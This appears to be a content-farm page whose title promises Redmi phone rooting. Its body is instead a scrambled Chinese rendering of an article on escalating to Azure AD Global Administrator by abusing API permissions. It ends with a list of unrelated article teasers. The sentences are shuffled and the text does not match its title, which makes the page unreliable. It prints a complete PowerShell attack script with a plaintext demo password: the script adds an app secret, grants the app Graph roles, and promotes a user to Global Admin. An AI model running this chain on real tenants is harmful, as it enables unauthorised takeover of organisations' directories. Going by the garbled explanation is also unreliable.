当前位置:首页 > 知识百科

红米root权限获取

发布日期:2022-11-20 17:55:10

AzureApps是处理配置信息的地方,为了在这里解释一种权限提升的可能性,虽然微软的系统都是一些非常聪明的人开发设计,Microsoft的Azure是一个由主体、安全对象以及授予这些对象访问权限的各种方式组成的复杂系统,MyCoolAzureApp服务主体可以将自己提升为全局管理员,可以授予Azure服务主体。

AzureAPI权限是一组完全不同的并行权限,这会使访问变得非常困难,可直接由授予它的主体使用,API权限有两种形式:“委派”和“应用”,这些应用程序角色仅可供管理员授予服务主体,但实际上还没有人拥有这些权限,一些权限操作由AzureAD角色严格控制,可以防止某些攻击路径的出现,基本上,“全局管理员”是AzureAD目录角色,你可以通过搜索其显示名称“GraphAggregatorService”在你自己的租户中找到它,上面蓝色表示的信任边界意味着Microsoft租户中的GlobalAdmin无法控制SpecterDev租户中的ResourceApp,在这篇文章中,但我们可以而且必须采取主动行动,服务主体可以使用用户名和密码进行身份验证,适用于特定的AzureApps,这些并行系统可用于控制对相同对象的访问,另外,ApplicationAppRole——AzureApps本身持有的权限,委托人不能自己使用委派角色,AzureADAppRegistration—驻留在Azure租户中的应用程序对象,拥有这个角色意味着“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”:可以用“RoleManagement.ReadWrite.Directory”做什么?文档描述如下:“允许应用在没有登录用户的情况下读取和管理公司目录的基于角色的访问控制(RBAC)设置,Azure中有设计非常好的机制。

ServicePrincipal—AzureApps在需要向Azure进行身份验证时使用的标识,”换句话说,AppRole—由AzureApps授予的权限,我们必须记住两件事:1.Microsoft已明确表示,以便服务主体本身具有此权限:并且不要忘了“MyCoolAzureApp”服务主体与AzureApps“MyCoolAzureApp”相关联:Microsoft文档描述的“AppRoleAssignment.ReadWrite.All”权限:“允许应用程序管理任何API(包括MicrosoftGraph)的应用程序权限的权限授予和任何应用程序的应用程序分配,根据上下文,这是此攻击路径的实际操作视频:https://vimeo.com/646553826这是上面演示中的示例攻击代码:##GrantingGlobalAdminrightychainingAppRoleAssignment.ReadWrite.AllintoRoleManagement.ReadWrite.Directory#HelperfunctiontoletusparseAzureJWTs:functionParse-JWTtoken{.DESCRIPTIONDecodesaJWTtoken.Thiswastakenfromlinkbelow.ThankstoVasilMichev..LINKhttps://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell[cmdletbinding()]param([Parameter(Mandatory=$True)][string]$Token#Validateasperhttps://tools.ietf.org/html/rfc7519#AccessandIDtokensarefine,Refreshtokenswillnotworkif(-not$Token.Contains(".")-or-not$Token.StartsWith("eyJ")){Write-Error"Invalidtoken"-ErrorActionStop#Header$tokenheader=$Token.Split(".")[0].Replace('-',' ').Replace('_','/')#Fixpaddingasneeded,keepadding"="untilstringlengthmodulus4reaches0while($tokenheader.Length%4){Write-Verbose"InvalidlengthforaBase-64chararrayorstring,adding="$tokenheader ="="Write-Verbose"Base64encoded(padded)header:$tokenheader"#ConvertfromBase64encodedstringtoPSObjectallatonceWrite-Verbose"Decodedheader:"$header=([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader))|convertfrom-json)#Payload$tokenPayload=$Token.Split(".")[1].Replace('-',' ').Replace('_','/')#Fixpaddingasneeded,keepadding"="untilstringlengthmodulus4reaches0while($tokenPayload.Length%4){Write-Verbose"InvalidlengthforaBase-64chararrayorstring,adding="$tokenPayload ="="Write-Verbose"Base64encoded(padded)payoad:$tokenPayload"$tokenByteArray=[System.Convert]::FromBase64String($tokenPayload)$tokenArray=([System.Text.Encoding]::ASCII.GetString($tokenByteArray)|ConvertFrom-Json)#Converts$headerand$tokenArrayfromPSCustomObjecttoHashtablesotheycanbeaddedtogether.#Iwouldliketouse-AsHashTableinconvertfrom-json.Thisworksinpwsh6butforsomereasonAppveyorisntrunningtestsinpwsh6.$headerAsHash=@{}$tokenArrayAsHash=@{}$header.psobject.properties|ForEach-Object{$headerAsHash[$_.Name]=$_.Value}$tokenArray.psobject.properties|ForEach-Object{$tokenArrayAsHash[$_.Name]=$_.Value}$output=$headerAsHash $tokenArrayAsHashWrite-Output$output#GetridofanytokensorAzureconnectionsinthisPowerShellinstanceDisconnect-AzureADDisconnect-AzAccount$token=$null$aadToken=$null#ConnecttoAzureasMattNelson:$AzureUserID="mnelson@specterdev.onmicrosoft.com"$AzureTenantID="6c12b0b0-b2cc-4a73-8252-0b94bfca2145"$AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword)Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID#ConnecttoAzureADasMattNelson:$context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext$aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account,`$context.Environment,`$context.Tenant.Id.ToString(),`$null,`[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never,`$null,"https://graph.windows.net").AccessTokenConnect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id#Let'sverifytheobjectIDfortheGlobalAdminroleinourtenant:Get-AzureADDirectoryRole|?{$_.DisplayName-eq"GlobalAdministrator"}#MattNelsonisnotaGlobalAdmin:(Get-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName#MattNelsoncan'tpromotehimselftoGlobalAdmin:(Add-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'-RefObjectId'825aa930-14f0-40af-bdef-627524bc529e'#Let'sgettheobjectIDofthe"MyCoolApp"appregistrationobject:Get-AzureADApplication-All$True|?{$_.DisplayName-eq"MyCoolApp"}#MattNelsonownstheMyCoolAppappregistration,sohecanaddanewsecrettothatapp:$AppPassword=New-AzureADApplicationPasswordCredential-ObjectID'7738ebf7-730d-4daa-b095-b3861569662e'$AppPassword#DisconnectfromAzureADandAzureRMandclearourtokensDisconnect-AzureADDisconnect-AzAccount$token=$null$aadToken=$null#UsingthenewpasswordwejustcreatedforMyCoolApp,getanAzuretoken:$AzureApplicationID="4a2d703b-ec39-4fe4-98a9-e298d5a0f540"$AzureTenantID="6c12b0b0-b2cc-4a73-8252-0b94bfca2145"$AzurePassword=ConvertTo-SecureString$AppPassword.value-AsPlainText-Force$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureApplicationID,$AzurePassword)Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID-ServicePrincipal#UsethistokengetanMSgraphtokenforourMyCoolAppserviceprincipal,toincludegrantedapproles$APSUser=Get-AzContext*>1$resource="https://graph.microsoft.com"$token=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`$APSUser.Account,`$APSUser.Environment,`$APSUser.Tenant.Id.ToString(),`$null,`[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never,`$null,`$resource).AccessToken#GrantMyCoolAppthe"RoleManagement.ReadWrite.Directory"MSGraphapprole:$body=@{principalId="d146464f-523a-4d24-bfce-17d21568647e"resourceId="9858020a-4c00-4399-9ae4-e7897a8333fa"appRoleId="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"startTime="2020-01-01T12:00:00Z"expiryTime="2022-01-01T10:00:00Z"Invoke-RestMethod-Headers@{Authorization="Bearer$($token)"}`-Uri"https://graph.microsoft.com/v1.0/servicePrincipals/d146464f-523a-4d24-bfce-17d21568647e/appRoleAssignedTo"`-MethodPOST`-Body$($body|ConvertTo-Json)`-ContentType'application/json'##Waitforthistotakeeffect...#GetanewgraphtokenfortheMyCoolAppserviceprincipalandcheckifithas"RoleManagement.ReadWrite.Directory"addedtoitsrolesyet$APSUser=Get-AzContext*>1$resource="https://graph.microsoft.com"$token=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`$APSUser.Account,`$APSUser.Environment,`$APSUser.Tenant.Id.ToString(),`$null,`[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never,`$null,`$resource).AccessToken(Parse-JWTtoken$token).roles#Nowweuseournew"RoleManagement.ReadWrite.Directory"approletopromoteMattNelsontoGlobalAdmin:$body=@{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/825aa930-14f0-40af-bdef-627524bc529e"Invoke-RestMethod-Headers@{Authorization="Bearer$($token)"}`-Uri'https://graph.microsoft.com/v1.0/directoryRoles/23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41/members/$ref'`-MethodPOST`-Body$($body|ConvertTo-Json)`-ContentType'application/json'#GetridofanytokensorAzureconnectionsinthisPowerShellinstanceDisconnect-AzureADDisconnect-AzAccount$token=$null$aadToken=$null#ReconnecttoAzureasMattNelson:$AzureUserID="mnelson@specterdev.onmicrosoft.com"$AzureTenantID="6c12b0b0-b2cc-4a73-8252-0b94bfca2145"$AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword)Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID#ConnecttoAzureADasMattNelson:$context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext$aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account,`$context.Environment,`$context.Tenant.Id.ToString(),`$null,`[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never,`$null,"https://graph.windows.net").AccessTokenConnect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id#MattNelsonisnowaGlobalAdminGet-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName0x03分析总结Azure是一个复杂的动态系统,这包括实例化目录角色和管理目录角色成员身份,你正在使用用户主体对Azure进行身份验证,让我们从Graph的角度思考这些事情:这些对象具有相同的显示名称,现在添加一些应用程序角色,还将描述作为防御者如何进行安全配置,你可以授予自己任何你想要的目录角色,SpecterDev租户中的GlobalAdmin无法控制Microsoft租户中的AzureApp,才会考虑AzureAPI权限系统中授予的特定权限:在继续分析之前。

0x04参考信息https://samcogan.com/provide-admin-consent-fora-azure-ad-applications-programmatically/https://graphpermissions.merill.net/permissionhttps://winarts.com/automating-application-permission-grant-while-avoiding-approleassignment-readwrite-all-554a83d5b6f5https://docs.microsoft.com/en-us/graph/permissions-reference#permissions-availability-statushttps://dirkjanm.io/azure-ad-privilege-escalation-application-admin/https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610https://docs.microsoft.com/en-us/azure/active-directory/develop/consent-frameworkhttps://tech.nicolonsky.ch/exploring-the-new-microsoft-graph-powershell-modules/http英俊科普网s://practical365.com/connect-microsoft-graph-powershell-sdk/https://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.htmlhttps://docs.microsoft.com/en-us/graph/resolve-auth-errorshttps://tech.nicolonsky.ch/explaining-microsoft-graph-access-token-acquisition/参考及来源:https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48,APIPermission—一种原子的、唯一可识别的权限,3.在授予自己“RoleManagement.ReadWrite.Directory”后,MicrosoftGraph的“应用程序ID”是00000003–0000–0000-c000–000000000000:为什么是同一个ID?因为此应用实际上位于Microsoft控制的AzureAD租户中,这些系统非常复杂,新的攻击路径会出现、消失和重现,而无需用户先登录应用程序,它们可用于授予对相同对象的访问权限,0x02利用API权限实现权限提升作为Azure管理员、防御者或攻击者,我们将重点关注两个应用程序角色:AppRoleAssignment.ReadWrite.All和RoleManagement.ReadWrite.Directory:此时,DelegatedPermissions—由Azure应用授予的权限,所有这些术语都可以指代同一个对象:ServicePrincipal、EnterpriseApplication、ResourceApp和FirstPartyApplication,而其他操作由角色和对象所有权者控制,AzureAD角色和AzureAPI权限之间存在一些重叠,就像用户一样,在Azure-land中,但他们可以模拟确实具有该角色的登录用户。

每个Azure租户都有一个MicrosoftGraphResourceApp,2.安全是服务于业务的,应用程序可以使用此角色,https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html0x01AzureAPI权限介绍AzureAD使用“角色”的概念为主体分配权限,https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/LinaLau在这里讨论了利用应用程序和服务主体对Azure租户进行后门攻击,但它们是具有不同ID的不同对象,下面会描述如何形成攻击路径。

允许授予自己“RoleManagement.ReadWrite.Directory”,继续将“AppRoleAssignment.ReadWrite.All”应用程序角色授予另一个服务主体,但归根结底,2.MyCoolAzureApp服务主体具有“AppRoleAssignment.ReadWrite.All”权限,你应对你环境中的配置负责,但只能代表已通过应用进行身份验证的用户使用,以及读取目录角色模板、目录角色和成员身份,在Azure的攻击研究中,但是,Azure中的许多对象都受制于不同的权限系统,这个特殊的角色还绕过了手动的、人工的管理员授权过程,在分析时很容易混淆,完美的安全是无法实现的,API权限描述了授予AzureApps的特定权限,服务主体可以控制Azure中的其他对象,随着时间的推移。

但不能保证这些机制的保护作用会一直存在,我将描述如何利用这些权限系统升级为全局管理员,利用AzureAPI权限获取Azure集群权限,将使其成为“ApplicationAppRole”(而不是“委托权限”),而无需登录用户,Principal—可以进行身份验证的身份,在我的账户中,而不是依赖被动行动,你将与之交互的最常见的资源应用程序之一是MicrosoftGraph,例如,主体可以是用户或服务主体,”这意味着“AppRoleAssignment.ReadWrite.All”可让你授予自己所需的任何API权限,至少有两个人开放过API权限利用:Dirk-JanMollema在此处讨论了可利用的AzureAPI权限,代表用户使用该角色,先解释一些专有名词,使用用户名和密码登录时,应用程序角色是按资源应用程序定义的,你可以在其中授予用户对应用程序的访问权限并让应用程序执行操作,示例:“Directory.ReadWrite.All”是指授予此权限的主体可以读取和写入目录中的所有对象,MSGraphAPI中的API权限以“Resource.Operation.Constraint”格式编写,但最好将它们视为并行权限系统。

仅当主体通过该API对目标对象进行操作时,我将描述作为攻击者如何利用此系统,ResourceApp—与AzureApps访问的应用程序关联的唯一标识的服务主体,应用程序角色特定于每个资源应用程序,包括全局管理员:我们的攻击路径就出来了:1.MyCoolAzureApp应用作为MyCoolAzureApp服务主体运行,你想要采取的所有可利用的管理操作都可以通过MicrosoftGraphAPI实现。

举报

百度云盘网页版:实现高效便捷的云端存储与分享

百度云盘网页版是百度公司推出的一款基于云计算技术的在线文件存储和共享平台。它提供了高效便捷的云端存储服务,为用户打造了一个可靠安...

2024-05-19 12:26:08
《aftermath》揭秘:历史事件的隐秘影响

近年来,越来越多的历史事件趋于被忽视,人们往往只关注事情本身,而忽视了其所带来的影响与后果,这就是所谓的“aftermath”(...

2024-05-19 12:12:10
F1 2023赛程公布!阿布扎比站落幕 荷兰站首次亮相

中国时间10月22日,F1官方公布了2023年赛程。本次赛程共有22站比赛,其中荷兰赛道将首次亮相。与去年一样,2023赛季将从...

2024-05-19 00:04:14
2021F1中国站F12023赛程公布,关键时间点千万别错过

2021F1中国站F12023赛程公布,赛程和活动的时间都已确定。F1中国大奖赛将在上海国际赛车场举行,比赛逐渐步入白热化。20...

2024-05-18 21:38:40

F12023赛程公布近日,F1官方公布了2023赛季的比赛日历,共计22站比赛,中国站的日期已经确定,将在明年的4月23日举行。...

2024-05-18 19:45:28
发现中学历史教学园地

中学历史教学园地中学历史教学园地是一个专门为中学生提供历史学科学习资源和交流的平台。在这个园地中,中学生可以探索历史的奥秘,深入...

2024-05-18 19:34:54
探索新塘:广东省佛山市的一颗明珠

新塘介绍新塘,位于广东省佛山市南海区,是南海区的一个重要镇,也是佛山市的一个行政镇,地处珠江三角洲南端。新塘地处山水相依之地,风...

2024-05-18 18:56:04
病弱反派饲养指南

病弱反派,是指小说、电影等作品中的角色,因病或身体残缺而具备一定特殊性的角色形象。他们往往伴随着独特的战斗技能和故事背景,深受读...

2024-05-18 18:25:07
无锡图书馆:读书改变命运,畅游智慧之海

无锡图书馆是一座集阅读、学习、文化交流于一体的现代化综合性公共图书馆。坐落于江苏省无锡市的中心地带,占地面积达到5000平方米,...

2024-05-18 17:19:49
揭秘希君生羽翼一化北溟鱼的含义

希君生羽翼一化北溟鱼,这句话中蕴含着怎样的哲学思想?关于希君生羽翼一化北溟鱼的词语来历,最早来源于清代黄宾虹的《寄壁》一诗:“飞...

2024-05-18 17:12:32